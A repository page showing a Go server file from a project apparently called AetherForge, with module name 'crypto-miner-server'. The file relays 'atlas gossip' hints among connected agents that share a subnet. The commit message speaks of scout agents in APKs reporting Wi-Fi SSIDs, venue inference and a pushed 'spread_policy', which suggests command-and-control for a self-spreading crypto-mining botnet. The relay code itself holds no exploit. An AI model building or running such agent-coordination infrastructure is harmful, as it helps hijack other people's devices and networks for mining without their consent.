Files
AetherForge/server/internal/api/atlas_gossip.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

72 lines
1.5 KiB
Go

package api
import (
"encoding/json"
"log"
"crypto-miner-server/internal/atlas"
)
func (h *WSHub) handleAgentAtlasGossip(senderID string, payload json.RawMessage) {
if !h.serverPolicySnapshot().AtlasLanGossipEnabled {
return
}
var body struct {
Hints []atlas.GossipHint `json:"hints"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
return
}
hints := atlas.NormalizeGossipHints(body.Hints)
if len(hints) == 0 {
return
}
h.relayAtlasGossip(senderID, hints)
}
func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
senderSubnet := h.agentSubnetFor(senderID)
if senderSubnet == "" {
return
}
skips := atlas.SkipsFromHints(hints)
if len(skips) == 0 {
return
}
h.recordGossipWhisper(senderSubnet, hints)
out := Message{
Type: "atlas_gossip",
Payload: mustMarshal(map[string]interface{}{
"hints": skips,
"source_agent_id": senderID,
}),
}
h.mu.RLock()
defer h.mu.RUnlock()
for id, ac := range h.agents {
if id == senderID || h.agentSubnet[id] != senderSubnet {
continue
}
if err := ac.SendJSON(out); err != nil {
log.Printf("[atlas-gossip] relay to %s: %v", id, err)
}
}
}
func (h *WSHub) agentSubnetFor(agentID string) string {
h.mu.RLock()
subnet := h.agentSubnet[agentID]
h.mu.RUnlock()
if subnet != "" {
return subnet
}
if h.db == nil {
return ""
}
ag, err := h.db.GetAgent(agentID)
if err != nil || ag == nil {
return ""
}
return atlas.SubnetPrefix(ag.IP)
}